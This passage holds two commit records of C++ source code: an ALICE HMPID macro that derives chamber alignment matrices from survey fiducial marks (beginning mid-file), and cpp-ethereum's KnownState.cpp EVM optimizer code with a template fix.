new global position of the surveyed volume //*** The 4 fiducial marks are assumed on a rectangle //*** parallel to a surface of the Hmp (main volume) //*** at a certain offset from the origin (zdepth) and with //*** x and y sides parallel to the box's x and y axes. if(survNch==0) nCh=4; if(survNch==1) nCh=3; if(survNch==2) nCh=5; if(survNch==3) nCh=1; if(survNch==4) nCh=6; if(survNch==5) nCh=2; if(survNch==6) nCh=0; Double_t ab[3], bc[3], n[3]; Double_t plane[4], s; Double_t ngA[3]={v[0+4*survNch].X(),v[0+4*survNch].Y(),v[0+4*survNch].Z()}; Double_t ngB[3]={v[1+4*survNch].X(),v[1+4*survNch].Y(),v[1+4*survNch].Z()}; Double_t ngC[3]={v[2+4*survNch].X(),v[2+4*survNch].Y(),v[2+4*survNch].Z()}; Double_t ngD[3]={v[3+4*survNch].X(),v[3+4*survNch].Y(),v[3+4*survNch].Z()}; if(survNch>4) { // first vector on the plane of the fiducial marks for(Int_t i=0;i<3;i++){ ab[i] = ngB[i] - ngA[i]; } // second vector on the plane of the fiducial marks for(Int_t i=0;i<3;i++){ bc[i] = ngC[i] - ngB[i]; } } else{ // first vector on the plane of the fiducial marks for(Int_t i=0;i<3;i++){ ab[i] = ngB[i] - ngA[i]; } // second vector on the plane of the fiducial marks for(Int_t i=0;i<3;i++){ bc[i] = ngD[i] - ngB[i]; } } // vector normal to the plane of the fiducial marks obtained // as cross product of the two vectors on the plane d0^d1 n[0] = ab[1] * bc[2] - ab[2] * bc[1]; n[1] = ab[2] * bc[0] - ab[0] * bc[2]; n[2] = ab[0] * bc[1] - ab[1] * bc[0]; Double_t sizen = TMath::Sqrt( n[0]*n[0] + n[1]*n[1] + n[2]*n[2] ); if(sizen>1.e-8){ s = Double_t(1.)/sizen ; //normalization factor }else{ return 0; } // plane expressed in the hessian normal form, see: // http://mathworld.wolfram.com/HessianNormalForm.html // the first three are the coordinates of the orthonormal vector // the fourth coordinate is equal to the distance from the origin for(i=0;i<3;i++){ plane[i] = n[i] * s; } plane[3] = -( plane[0] * ngA[0] + plane[1] * ngA[1] + plane[2] * ngA[2] ); cout<<"normal to plane and distance from IP: "<<plane[0]<<" "<<plane[1]<<" "<<plane[2]<<" "<<plane[3]<<" "<<endl; // The center of the square with fiducial marks as corners // as the middle point of one diagonal - md // Used below to get the center - orig - of the surveyed box Double_t orig[3], md[3]; if(survNch>4){ for(i=0;i<3;i++){ md[i] = (ngA[i] + ngC[i]) * 0.5;//modified!!!!!!!!! } } else { for(i=0;i<3;i++){ md[i] = (ngA[i] + ngD[i]) * 0.5;//modified!!!!!!!!! } } cout<<endl<<"The center of the box from Survey data: "<<md[0]<<" "<<md[1]<<" "<<md[2]<<endl; const Double_t zdepth=-0.9-4.85; //the survey data are down the radiator (behind the honeycomb structure). They //lay on 4 cylinders whose height is 9 mm. // The center of the box for(i=0;i<1;i++){ orig[i] = md[i] - (-plane[i])*(zdepth+plane[3]); } orig[1] = md[1] - (-plane[1])*(zdepth+plane[3]); orig[2] = md[2] - (-plane[2])*(zdepth+plane[3]); cout<<endl<<"The origin of the box: "<<orig[0]<<" "<<orig[1]<<" "<<orig[2]<<endl; // get x,y local directions needed to write the global rotation matrix // for the surveyed volume by normalising vectors ab and bc Double_t sx = TMath::Sqrt(ab[0]*ab[0] + ab[1]*ab[1] + ab[2]*ab[2]); if(sx>1.e-8){ for(i=0;i<3;i++){ ab[i] /= sx; } cout<<endl<<"x "<<ab[0]<<" "<<ab[1]<<" "<<ab[2]<<endl; } Double_t sy = TMath::Sqrt(bc[0]*bc[0] + bc[1]*bc[1] + bc[2]*bc[2]); if(sy>1.e-8){ for(i=0;i<3;i++){ bc[i] /= sy; } cout<<endl<<"y "<<bc[0]<<" "<<bc[1]<<" "<<bc[2]<<endl; } // the global matrix for the surveyed volume - ng Double_t rot[9] = {-ab[0],bc[0],-plane[0],-ab[1],bc[1],-plane[1],-ab[2],bc[2],-plane[2]}; TGeoHMatrix ng; ng.SetTranslation(md); ng.SetRotation(rot); cout<<"\n********* global matrix inferred from surveyed fiducial marks for chamber"<<survNch<<"***********\n"; ng.Print(); return ng; } <commit_msg>Improvement in survey data managment (A. M.)<commit_after>TVector3 fFM[28]; //array of global coordinates for 28 fiducial marks Int_t sNch, oNch; // survey and offline chamber's number TGeoHMatrix GetResSurvAlign(Int_t survNch, Int_t& offNch); void SurveyToAlignHmpid(const char* filename="Survey_781282_HMPID.txt"){ // Open file with AliSurveyPoints for the 7 HMPID chambers // Produce the corresponding alignment objects AliSurveyObj *so = new AliSurveyObj(); Int_t size = so->GetEntries(); printf("-> %d\n", size); so->FillFromLocalFile(filename); size = so->GetEntries(); printf("--> %d\n", size); TObjArray *points = so->GetData(); //AliCDBManager* cdbman = AliCDBManager::Instance(); //cdbman->SetSpecificStorage("local://$ALICE_ROOT"); //cdbman->SetRun(0); //cdbman->Get("GRP/Align/Geometry"); TGeoManager::Import("geometry.root"); for (Int_t i = 0; i < points->GetEntries(); ++i) { AliSurveyPoint *p=(AliSurveyPoint *) points->At(i); fFM[i].SetXYZ(p->GetX()*100.,p->GetY()*100.,p->GetZ()*100.); } TString chbasename("/HMPID/Chamber"); for(Int_t sNch=0; sNch<7; sNch++){ TGeoHMatrix mtx = GetResSurvAlign(sNch,oNch); //get global matrix from survey points TString chsymname = chbasename; chsymname += oNch; printf("getting global matrix for the alignable volume %s\n",chsymname.Data()); TGeoHMatrix *gm = AliGeomManager::GetMatrix(chsymname.Data()); if(!gm){ printf("unable to get global matrix for the alignable volume %s\n",chsymname.Data()); continue; } TGeoHMatrix gdelta = gm->Inverse(); gdelta.MultiplyLeft(&mtx); //gdelta.Print(); AliAlignObjMatrix* mobj = new AliAlignObjMatrix(AliGeomManager::SymName(AliGeomManager::LayerToVolUID(AliGeomManager::kHMPID,oNch)), AliGeomManager::LayerToVolUID(AliGeomManager::kHMPID,oNch),gdelta,kTRUE); /* cout<<"\n************* obtained AliAlignObjMatrix************\n"; mobj->Print(); cout<<""<<endl; TGeoHMatrix pa=gdelta*g0; pa.Print(); */ } } TGeoHMatrix GetResSurvAlign(Int_t survNch, Int_t& offNch) { // For a given chamber identified by survey chamber number 'survNch', // return the global matrix inferred from the survey points of its // 4 fiducial marks and set the offline chamber number 'offNch' // Int_t ChSrv2Off[7] = {4,3,5,1,6,2,0}; //cout<<" ********* Chamber Numbers ******"<<endl; //cout<<" **** Survey **** Offline *****"<<endl; //for(Int_t ch=0; ch<7; ch++){ // cout<<" "<<ch<<" "<<ChSrv2Off[ch]<<endl; //} offNch=ChSrv2Off[survNch]; Double_t ab[3], bc[3], n[3]; Double_t plane[4], s; Double_t ngA[3]={fFM[0+4*survNch].X(),fFM[0+4*survNch].Y(),fFM[0+4*survNch].Z()}; Double_t ngB[3]={fFM[1+4*survNch].X(),fFM[1+4*survNch].Y(),fFM[1+4*survNch].Z()}; Double_t ngC[3]={fFM[2+4*survNch].X(),fFM[2+4*survNch].Y(),fFM[2+4*survNch].Z()}; Double_t ngD[3]={fFM[3+4*survNch].X(),fFM[3+4*survNch].Y(),fFM[3+4*survNch].Z()}; if(survNch>4) { // first vector on the plane of the fiducial marks for(Int_t i=0;i<3;i++){ ab[i] = ngB[i] - ngA[i]; } // second vector on the plane of the fiducial marks for(Int_t i=0;i<3;i++){ bc[i] = ngC[i] - ngB[i]; } } else{ // first vector on the plane of the fiducial marks for(Int_t i=0;i<3;i++){ ab[i] = ngB[i] - ngA[i]; } // second vector on the plane of the fiducial marks for(Int_t i=0;i<3;i++){ bc[i] = ngD[i] - ngB[i]; } } // vector normal to the plane of the fiducial marks obtained // as cross product of the two vectors on the plane d0^d1 n[0] = ab[1] * bc[2] - ab[2] * bc[1]; n[1] = ab[2] * bc[0] - ab[0] * bc[2]; n[2] = ab[0] * bc[1] - ab[1] * bc[0]; Double_t sizen = TMath::Sqrt( n[0]*n[0] + n[1]*n[1] + n[2]*n[2] ); if(sizen>1.e-8){ s = Double_t(1.)/sizen ; //normalization factor }else{ return 0; } // plane expressed in the hessian normal form, see: // http://mathworld.wolfram.com/HessianNormalForm.html // the first three are the coordinates of the orthonormal vector // the fourth coordinate is equal to the distance from the origin for(i=0;i<3;i++){ plane[i] = n[i] * s; } plane[3] = -( plane[0] * ngA[0] + plane[1] * ngA[1] + plane[2] * ngA[2] ); cout<<"normal to plane and distance from IP: "<<plane[0]<<" "<<plane[1]<<" "<<plane[2]<<" "<<plane[3]<<" "<<endl; // The center of the square with fiducial marks as corners // as the middle point of one diagonal - md // Used below to get the center - orig - of the surveyed box Double_t orig[3], md[3]; if(survNch>4){ for(i=0;i<3;i++){ md[i] = (ngA[i] + ngC[i]) * 0.5;//modified!!!!!!!!! } } else { for(i=0;i<3;i++){ md[i] = (ngA[i] + ngD[i]) * 0.5;//modified!!!!!!!!! } } cout<<endl<<"The center of the box from Survey data: "<<md[0]<<" "<<md[1]<<" "<<md[2]<<endl; const Double_t zdepth=-0.9-4.85; //the fiducial marks are down the radiator (behind the honeycomb structure). They //lay on 4 cylinders whose height is 9 mm. // The center of the box for(i=0;i<1;i++){ orig[i] = md[i] - (-plane[i])*(zdepth+plane[3]); } orig[1] = md[1] - (-plane[1])*(zdepth+plane[3]); orig[2] = md[2] - (-plane[2])*(zdepth+plane[3]); cout<<endl<<"The origin of the box: "<<orig[0]<<" "<<orig[1]<<" "<<orig[2]<<endl; // get x,y local directions needed to write the global rotation matrix // for the surveyed volume by normalising vectors ab and bc Double_t sx = TMath::Sqrt(ab[0]*ab[0] + ab[1]*ab[1] + ab[2]*ab[2]); if(sx>1.e-8){ for(i=0;i<3;i++){ ab[i] /= sx; } cout<<endl<<"x "<<ab[0]<<" "<<ab[1]<<" "<<ab[2]<<endl; } Double_t sy = TMath::Sqrt(bc[0]*bc[0] + bc[1]*bc[1] + bc[2]*bc[2]); if(sy>1.e-8){ for(i=0;i<3;i++){ bc[i] /= sy; } cout<<endl<<"y "<<bc[0]<<" "<<bc[1]<<" "<<bc[2]<<endl; } // the global matrix for the surveyed volume - ng Double_t rot[9] = {-ab[0],bc[0],-plane[0],-ab[1],bc[1],-plane[1],-ab[2],bc[2],-plane[2]}; TGeoHMatrix ng; ng.SetTranslation(md); ng.SetRotation(rot); cout<<"\n********* global matrix inferred from surveyed fiducial marks for chamber"<<survNch<<"***********\n"; ng.Print(); return ng; } <|endoftext|>
<commit_before>/* This file is part of cpp-ethereum. cpp-ethereum is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. cpp-ethereum is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with cpp-ethereum. If not, see <http://www.gnu.org/licenses/>. */ /** * @file KnownState.cpp * @author Christian <c@ethdev.com> * @date 2015 * Contains knowledge about the state of the virtual machine at a specific instruction. */ #include "KnownState.h" #include <functional> #include <libdevcrypto/SHA3.h> #include <libevmasm/AssemblyItem.h> using namespace std; using namespace dev; using namespace dev::eth; ostream& KnownState::stream(ostream& _out) const { auto streamExpressionClass = [this](ostream& _out, Id _id) { auto const& expr = m_expressionClasses->representative(_id); _out << " " << dec << _id << ": "; if (!expr.item) _out << " no item"; else if (expr.item->type() == UndefinedItem) _out << " unknown " << int(expr.item->data()); else _out << *expr.item; if (expr.sequenceNumber) _out << "@" << dec << expr.sequenceNumber; _out << "("; for (Id arg: expr.arguments) _out << dec << arg << ","; _out << ")" << endl; }; _out << "=== State ===" << endl; _out << "Stack height: " << dec << m_stackHeight << endl; _out << "Equivalence classes: " << endl; for (Id eqClass = 0; eqClass < m_expressionClasses->size(); ++eqClass) streamExpressionClass(_out, eqClass); _out << "Stack: " << endl; for (auto const& it: m_stackElements) { _out << " " << dec << it.first << ": "; streamExpressionClass(_out, it.second); } _out << "Storage: " << endl; for (auto const& it: m_storageContent) { _out << " "; streamExpressionClass(_out, it.first); _out << ": "; streamExpressionClass(_out, it.second); } _out << "Memory: " << endl; for (auto const& it: m_memoryContent) { _out << " "; streamExpressionClass(_out, it.first); _out << ": "; streamExpressionClass(_out, it.second); } return _out; } KnownState::StoreOperation KnownState::feedItem(AssemblyItem const& _item, bool _copyItem) { StoreOperation op; if (_item.type() == Tag) { // can be ignored } else if (_item.type() != Operation) { assertThrow(_item.deposit() == 1, InvalidDeposit, ""); setStackElement(++m_stackHeight, m_expressionClasses->find(_item, {}, _copyItem)); } else { Instruction instruction = _item.instruction(); InstructionInfo info = instructionInfo(instruction); if (SemanticInformation::isDupInstruction(_item)) setStackElement( m_stackHeight + 1, stackElement( m_stackHeight - int(instruction) + int(Instruction::DUP1), _item.getLocation() ) ); else if (SemanticInformation::isSwapInstruction(_item)) swapStackElements( m_stackHeight, m_stackHeight - 1 - int(instruction) + int(Instruction::SWAP1), _item.getLocation() ); else if (instruction != Instruction::POP) { vector<Id> arguments(info.args); for (int i = 0; i < info.args; ++i) arguments[i] = stackElement(m_stackHeight - i, _item.getLocation()); if (_item.instruction() == Instruction::SSTORE) op = storeInStorage(arguments[0], arguments[1], _item.getLocation()); else if (_item.instruction() == Instruction::SLOAD) setStackElement( m_stackHeight + _item.deposit(), loadFromStorage(arguments[0], _item.getLocation()) ); else if (_item.instruction() == Instruction::MSTORE) op = storeInMemory(arguments[0], arguments[1], _item.getLocation()); else if (_item.instruction() == Instruction::MLOAD) setStackElement( m_stackHeight + _item.deposit(), loadFromMemory(arguments[0], _item.getLocation()) ); else if (_item.instruction() == Instruction::SHA3) setStackElement( m_stackHeight + _item.deposit(), applySha3(arguments.at(0), arguments.at(1), _item.getLocation()) ); else { if (SemanticInformation::invalidatesMemory(_item.instruction())) resetMemory(); if (SemanticInformation::invalidatesStorage(_item.instruction())) resetStorage(); assertThrow(info.ret <= 1, InvalidDeposit, ""); if (info.ret == 1) setStackElement( m_stackHeight + _item.deposit(), m_expressionClasses->find(_item, arguments, _copyItem) ); } } m_stackElements.erase( m_stackElements.upper_bound(m_stackHeight + _item.deposit()), m_stackElements.end() ); m_stackHeight += _item.deposit(); } return op; } /// Helper function for KnownState::reduceToCommonKnowledge, removes everything from /// _this which is not in or not equal to the value in _other. template <class _Mapping, class _KeyType = ExpressionClasses::Id> void intersect( _Mapping& _this, _Mapping const& _other, function<_KeyType(_KeyType)> const& _keyTrans = [](_KeyType _k) { return _k; } ) { for (auto it = _this.begin(); it != _this.end();) if (_other.count(_keyTrans(it->first)) && _other.at(_keyTrans(it->first)) == it->second) ++it; else it = _this.erase(it); } void KnownState::reduceToCommonKnowledge(KnownState const& _other) { int stackDiff = m_stackHeight - _other.m_stackHeight; function<int(int)> stackKeyTransform = [=](int _key) -> int { return _key - stackDiff; }; intersect(m_stackElements, _other.m_stackElements, stackKeyTransform); // Use the smaller stack height. Essential to terminate in case of loops. if (m_stackHeight > _other.m_stackHeight) { map<int, Id> shiftedStack; for (auto const& stackElement: m_stackElements) shiftedStack[stackElement.first - stackDiff] = stackElement.second; m_stackElements = move(shiftedStack); m_stackHeight = _other.m_stackHeight; } intersect(m_storageContent, _other.m_storageContent); intersect(m_memoryContent, _other.m_memoryContent); } bool KnownState::operator==(const KnownState& _other) const { return m_storageContent == _other.m_storageContent && m_memoryContent == _other.m_memoryContent && m_stackHeight == _other.m_stackHeight && m_stackElements == _other.m_stackElements; } ExpressionClasses::Id KnownState::stackElement(int _stackHeight, SourceLocation const& _location) { if (m_stackElements.count(_stackHeight)) return m_stackElements.at(_stackHeight); // Stack element not found (not assigned yet), create new unknown equivalence class. //@todo check that we do not infer incorrect equivalences when the stack is cleared partially //in between. return m_stackElements[_stackHeight] = initialStackElement(_stackHeight, _location); } ExpressionClasses::Id KnownState::initialStackElement( int _stackHeight, SourceLocation const& _location ) { // This is a special assembly item that refers to elements pre-existing on the initial stack. return m_expressionClasses->find(AssemblyItem(UndefinedItem, u256(_stackHeight), _location)); } void KnownState::setStackElement(int _stackHeight, Id _class) { m_stackElements[_stackHeight] = _class; } void KnownState::swapStackElements( int _stackHeightA, int _stackHeightB, SourceLocation const& _location ) { assertThrow(_stackHeightA != _stackHeightB, OptimizerException, "Swap on same stack elements."); // ensure they are created stackElement(_stackHeightA, _location); stackElement(_stackHeightB, _location); swap(m_stackElements[_stackHeightA], m_stackElements[_stackHeightB]); } KnownState::StoreOperation KnownState::storeInStorage( Id _slot, Id _value, SourceLocation const& _location) { if (m_storageContent.count(_slot) && m_storageContent[_slot] == _value) // do not execute the storage if we know that the value is already there return StoreOperation(); m_sequenceNumber++; decltype(m_storageContent) storageContents; // Copy over all values (i.e. retain knowledge about them) where we know that this store // operation will not destroy the knowledge. Specifically, we copy storage locations we know // are different from _slot or locations where we know that the stored value is equal to _value. for (auto const& storageItem: m_storageContent) if (m_expressionClasses->knownToBeDifferent(storageItem.first, _slot) || storageItem.second == _value) storageContents.insert(storageItem); m_storageContent = move(storageContents); AssemblyItem item(Instruction::SSTORE, _location); Id id = m_expressionClasses->find(item, {_slot, _value}, true, m_sequenceNumber); StoreOperation operation(StoreOperation::Storage, _slot, m_sequenceNumber, id); m_storageContent[_slot] = _value; // increment a second time so that we get unique sequence numbers for writes m_sequenceNumber++; return operation; } ExpressionClasses::Id KnownState::loadFromStorage(Id _slot, SourceLocation const& _location) { if (m_storageContent.count(_slot)) return m_storageContent.at(_slot); AssemblyItem item(Instruction::SLOAD, _location); return m_storageContent[_slot] = m_expressionClasses->find(item, {_slot}, true, m_sequenceNumber); } KnownState::StoreOperation KnownState::storeInMemory(Id _slot, Id _value, SourceLocation const& _location) { if (m_memoryContent.count(_slot) && m_memoryContent[_slot] == _value) // do not execute the store if we know that the value is already there return StoreOperation(); m_sequenceNumber++; decltype(m_memoryContent) memoryContents; // copy over values at points where we know that they are different from _slot by at least 32 for (auto const& memoryItem: m_memoryContent) if (m_expressionClasses->knownToBeDifferentBy32(memoryItem.first, _slot)) memoryContents.insert(memoryItem); m_memoryContent = move(memoryContents); AssemblyItem item(Instruction::MSTORE, _location); Id id = m_expressionClasses->find(item, {_slot, _value}, true, m_sequenceNumber); StoreOperation operation(StoreOperation(StoreOperation::Memory, _slot, m_sequenceNumber, id)); m_memoryContent[_slot] = _value; // increment a second time so that we get unique sequence numbers for writes m_sequenceNumber++; return operation; } ExpressionClasses::Id KnownState::loadFromMemory(Id _slot, SourceLocation const& _location) { if (m_memoryContent.count(_slot)) return m_memoryContent.at(_slot); AssemblyItem item(Instruction::MLOAD, _location); return m_memoryContent[_slot] = m_expressionClasses->find(item, {_slot}, true, m_sequenceNumber); } KnownState::Id KnownState::applySha3( Id _start, Id _length, SourceLocation const& _location ) { AssemblyItem sha3Item(Instruction::SHA3, _location); // Special logic if length is a short constant, otherwise we cannot tell. u256 const* l = m_expressionClasses->knownConstant(_length); // unknown or too large length if (!l || *l > 128) return m_expressionClasses->find(sha3Item, {_start, _length}, true, m_sequenceNumber); vector<Id> arguments; for (u256 i = 0; i < *l; i += 32) { Id slot = m_expressionClasses->find( AssemblyItem(Instruction::ADD, _location), {_start, m_expressionClasses->find(i)} ); arguments.push_back(loadFromMemory(slot, _location)); } if (m_knownSha3Hashes.count(arguments)) return m_knownSha3Hashes.at(arguments); Id v; // If all arguments are known constants, compute the sha3 here if (all_of(arguments.begin(), arguments.end(), [this](Id _a) { return !!m_expressionClasses->knownConstant(_a); })) { bytes data; for (Id a: arguments) data += toBigEndian(*m_expressionClasses->knownConstant(a)); data.resize(size_t(*l)); v = m_expressionClasses->find(AssemblyItem(u256(sha3(data)), _location)); } else v = m_expressionClasses->find(sha3Item, {_start, _length}, true, m_sequenceNumber); return m_knownSha3Hashes[arguments] = v; } <commit_msg>Fixed template problem.<commit_after>/* This file is part of cpp-ethereum. cpp-ethereum is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. cpp-ethereum is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with cpp-ethereum. If not, see <http://www.gnu.org/licenses/>. */ /** * @file KnownState.cpp * @author Christian <c@ethdev.com> * @date 2015 * Contains knowledge about the state of the virtual machine at a specific instruction. */ #include "KnownState.h" #include <functional> #include <libdevcrypto/SHA3.h> #include <libevmasm/AssemblyItem.h> using namespace std; using namespace dev; using namespace dev::eth; ostream& KnownState::stream(ostream& _out) const { auto streamExpressionClass = [this](ostream& _out, Id _id) { auto const& expr = m_expressionClasses->representative(_id); _out << " " << dec << _id << ": "; if (!expr.item) _out << " no item"; else if (expr.item->type() == UndefinedItem) _out << " unknown " << int(expr.item->data()); else _out << *expr.item; if (expr.sequenceNumber) _out << "@" << dec << expr.sequenceNumber; _out << "("; for (Id arg: expr.arguments) _out << dec << arg << ","; _out << ")" << endl; }; _out << "=== State ===" << endl; _out << "Stack height: " << dec << m_stackHeight << endl; _out << "Equivalence classes: " << endl; for (Id eqClass = 0; eqClass < m_expressionClasses->size(); ++eqClass) streamExpressionClass(_out, eqClass); _out << "Stack: " << endl; for (auto const& it: m_stackElements) { _out << " " << dec << it.first << ": "; streamExpressionClass(_out, it.second); } _out << "Storage: " << endl; for (auto const& it: m_storageContent) { _out << " "; streamExpressionClass(_out, it.first); _out << ": "; streamExpressionClass(_out, it.second); } _out << "Memory: " << endl; for (auto const& it: m_memoryContent) { _out << " "; streamExpressionClass(_out, it.first); _out << ": "; streamExpressionClass(_out, it.second); } return _out; } KnownState::StoreOperation KnownState::feedItem(AssemblyItem const& _item, bool _copyItem) { StoreOperation op; if (_item.type() == Tag) { // can be ignored } else if (_item.type() != Operation) { assertThrow(_item.deposit() == 1, InvalidDeposit, ""); setStackElement(++m_stackHeight, m_expressionClasses->find(_item, {}, _copyItem)); } else { Instruction instruction = _item.instruction(); InstructionInfo info = instructionInfo(instruction); if (SemanticInformation::isDupInstruction(_item)) setStackElement( m_stackHeight + 1, stackElement( m_stackHeight - int(instruction) + int(Instruction::DUP1), _item.getLocation() ) ); else if (SemanticInformation::isSwapInstruction(_item)) swapStackElements( m_stackHeight, m_stackHeight - 1 - int(instruction) + int(Instruction::SWAP1), _item.getLocation() ); else if (instruction != Instruction::POP) { vector<Id> arguments(info.args); for (int i = 0; i < info.args; ++i) arguments[i] = stackElement(m_stackHeight - i, _item.getLocation()); if (_item.instruction() == Instruction::SSTORE) op = storeInStorage(arguments[0], arguments[1], _item.getLocation()); else if (_item.instruction() == Instruction::SLOAD) setStackElement( m_stackHeight + _item.deposit(), loadFromStorage(arguments[0], _item.getLocation()) ); else if (_item.instruction() == Instruction::MSTORE) op = storeInMemory(arguments[0], arguments[1], _item.getLocation()); else if (_item.instruction() == Instruction::MLOAD) setStackElement( m_stackHeight + _item.deposit(), loadFromMemory(arguments[0], _item.getLocation()) ); else if (_item.instruction() == Instruction::SHA3) setStackElement( m_stackHeight + _item.deposit(), applySha3(arguments.at(0), arguments.at(1), _item.getLocation()) ); else { if (SemanticInformation::invalidatesMemory(_item.instruction())) resetMemory(); if (SemanticInformation::invalidatesStorage(_item.instruction())) resetStorage(); assertThrow(info.ret <= 1, InvalidDeposit, ""); if (info.ret == 1) setStackElement( m_stackHeight + _item.deposit(), m_expressionClasses->find(_item, arguments, _copyItem) ); } } m_stackElements.erase( m_stackElements.upper_bound(m_stackHeight + _item.deposit()), m_stackElements.end() ); m_stackHeight += _item.deposit(); } return op; } /// Helper function for KnownState::reduceToCommonKnowledge, removes everything from /// _this which is not in or not equal to the value in _other. template <class _Mapping, class _KeyType> void intersect( _Mapping& _this, _Mapping const& _other, function<_KeyType(_KeyType)> const& _keyTrans = [](_KeyType _k) { return _k; } ) { for (auto it = _this.begin(); it != _this.end();) if (_other.count(_keyTrans(it->first)) && _other.at(_keyTrans(it->first)) == it->second) ++it; else it = _this.erase(it); } template <class _Mapping> void intersect(_Mapping& _this, _Mapping const& _other) { intersect<_Mapping, ExpressionClasses::Id>(_this, _other, [](ExpressionClasses::Id _k) { return _k; }); } void KnownState::reduceToCommonKnowledge(KnownState const& _other) { int stackDiff = m_stackHeight - _other.m_stackHeight; function<int(int)> stackKeyTransform = [=](int _key) -> int { return _key - stackDiff; }; intersect(m_stackElements, _other.m_stackElements, stackKeyTransform); // Use the smaller stack height. Essential to terminate in case of loops. if (m_stackHeight > _other.m_stackHeight) { map<int, Id> shiftedStack; for (auto const& stackElement: m_stackElements) shiftedStack[stackElement.first - stackDiff] = stackElement.second; m_stackElements = move(shiftedStack); m_stackHeight = _other.m_stackHeight; } intersect(m_storageContent, _other.m_storageContent); intersect(m_memoryContent, _other.m_memoryContent); } bool KnownState::operator==(const KnownState& _other) const { return m_storageContent == _other.m_storageContent && m_memoryContent == _other.m_memoryContent && m_stackHeight == _other.m_stackHeight && m_stackElements == _other.m_stackElements; } ExpressionClasses::Id KnownState::stackElement(int _stackHeight, SourceLocation const& _location) { if (m_stackElements.count(_stackHeight)) return m_stackElements.at(_stackHeight); // Stack element not found (not assigned yet), create new unknown equivalence class. //@todo check that we do not infer incorrect equivalences when the stack is cleared partially //in between. return m_stackElements[_stackHeight] = initialStackElement(_stackHeight, _location); } ExpressionClasses::Id KnownState::initialStackElement( int _stackHeight, SourceLocation const& _location ) { // This is a special assembly item that refers to elements pre-existing on the initial stack. return m_expressionClasses->find(AssemblyItem(UndefinedItem, u256(_stackHeight), _location)); } void KnownState::setStackElement(int _stackHeight, Id _class) { m_stackElements[_stackHeight] = _class; } void KnownState::swapStackElements( int _stackHeightA, int _stackHeightB, SourceLocation const& _location ) { assertThrow(_stackHeightA != _stackHeightB, OptimizerException, "Swap on same stack elements."); // ensure they are created stackElement(_stackHeightA, _location); stackElement(_stackHeightB, _location); swap(m_stackElements[_stackHeightA], m_stackElements[_stackHeightB]); } KnownState::StoreOperation KnownState::storeInStorage( Id _slot, Id _value, SourceLocation const& _location) { if (m_storageContent.count(_slot) && m_storageContent[_slot] == _value) // do not execute the storage if we know that the value is already there return StoreOperation(); m_sequenceNumber++; decltype(m_storageContent) storageContents; // Copy over all values (i.e. retain knowledge about them) where we know that this store // operation will not destroy the knowledge. Specifically, we copy storage locations we know // are different from _slot or locations where we know that the stored value is equal to _value. for (auto const& storageItem: m_storageContent) if (m_expressionClasses->knownToBeDifferent(storageItem.first, _slot) || storageItem.second == _value) storageContents.insert(storageItem); m_storageContent = move(storageContents); AssemblyItem item(Instruction::SSTORE, _location); Id id = m_expressionClasses->find(item, {_slot, _value}, true, m_sequenceNumber); StoreOperation operation(StoreOperation::Storage, _slot, m_sequenceNumber, id); m_storageContent[_slot] = _value; // increment a second time so that we get unique sequence numbers for writes m_sequenceNumber++; return operation; } ExpressionClasses::Id KnownState::loadFromStorage(Id _slot, SourceLocation const& _location) { if (m_storageContent.count(_slot)) return m_storageContent.at(_slot); AssemblyItem item(Instruction::SLOAD, _location); return m_storageContent[_slot] = m_expressionClasses->find(item, {_slot}, true, m_sequenceNumber); } KnownState::StoreOperation KnownState::storeInMemory(Id _slot, Id _value, SourceLocation const& _location) { if (m_memoryContent.count(_slot) && m_memoryContent[_slot] == _value) // do not execute the store if we know that the value is already there return StoreOperation(); m_sequenceNumber++; decltype(m_memoryContent) memoryContents; // copy over values at points where we know that they are different from _slot by at least 32 for (auto const& memoryItem: m_memoryContent) if (m_expressionClasses->knownToBeDifferentBy32(memoryItem.first, _slot)) memoryContents.insert(memoryItem); m_memoryContent = move(memoryContents); AssemblyItem item(Instruction::MSTORE, _location); Id id = m_expressionClasses->find(item, {_slot, _value}, true, m_sequenceNumber); StoreOperation operation(StoreOperation(StoreOperation::Memory, _slot, m_sequenceNumber, id)); m_memoryContent[_slot] = _value; // increment a second time so that we get unique sequence numbers for writes m_sequenceNumber++; return operation; } ExpressionClasses::Id KnownState::loadFromMemory(Id _slot, SourceLocation const& _location) { if (m_memoryContent.count(_slot)) return m_memoryContent.at(_slot); AssemblyItem item(Instruction::MLOAD, _location); return m_memoryContent[_slot] = m_expressionClasses->find(item, {_slot}, true, m_sequenceNumber); } KnownState::Id KnownState::applySha3( Id _start, Id _length, SourceLocation const& _location ) { AssemblyItem sha3Item(Instruction::SHA3, _location); // Special logic if length is a short constant, otherwise we cannot tell. u256 const* l = m_expressionClasses->knownConstant(_length); // unknown or too large length if (!l || *l > 128) return m_expressionClasses->find(sha3Item, {_start, _length}, true, m_sequenceNumber); vector<Id> arguments; for (u256 i = 0; i < *l; i += 32) { Id slot = m_expressionClasses->find( AssemblyItem(Instruction::ADD, _location), {_start, m_expressionClasses->find(i)} ); arguments.push_back(loadFromMemory(slot, _location)); } if (m_knownSha3Hashes.count(arguments)) return m_knownSha3Hashes.at(arguments); Id v; // If all arguments are known constants, compute the sha3 here if (all_of(arguments.begin(), arguments.end(), [this](Id _a) { return !!m_expressionClasses->knownConstant(_a); })) { bytes data; for (Id a: arguments) data += toBigEndian(*m_expressionClasses->knownConstant(a)); data.resize(size_t(*l)); v = m_expressionClasses->find(AssemblyItem(u256(sha3(data)), _location)); } else v = m_expressionClasses->find(sha3Item, {_start, _length}, true, m_sequenceNumber); return m_knownSha3Hashes[arguments] = v; } <|endoftext|>
